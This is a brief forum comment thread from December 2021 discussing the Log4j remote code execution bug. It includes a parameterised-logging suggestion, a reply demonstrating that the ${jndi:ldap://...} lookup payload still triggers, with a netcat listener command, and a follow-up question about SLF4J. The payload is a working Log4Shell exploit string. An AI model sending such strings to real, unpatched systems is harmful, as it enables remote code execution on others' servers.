Re:Log4j RCE Found
by ianlevesque on Thursday December 09, 2021 @09:38PM
(#29505833)
The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's my user-provided input: {}", userInput) rather than log.error(userInput)
[ Parent
| on HN ]
The RCE works with both ways, start nc (nc -lp 1234) and run this
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
Re:Log4j RCE Found
by ianlevesque on Friday December 10, 2021 @12:43AM
(#29506808)
Well that’s just appalling.
What if you are using SLF4J as a front-end to log4j, does it escape these special strings before passing them to the logging system?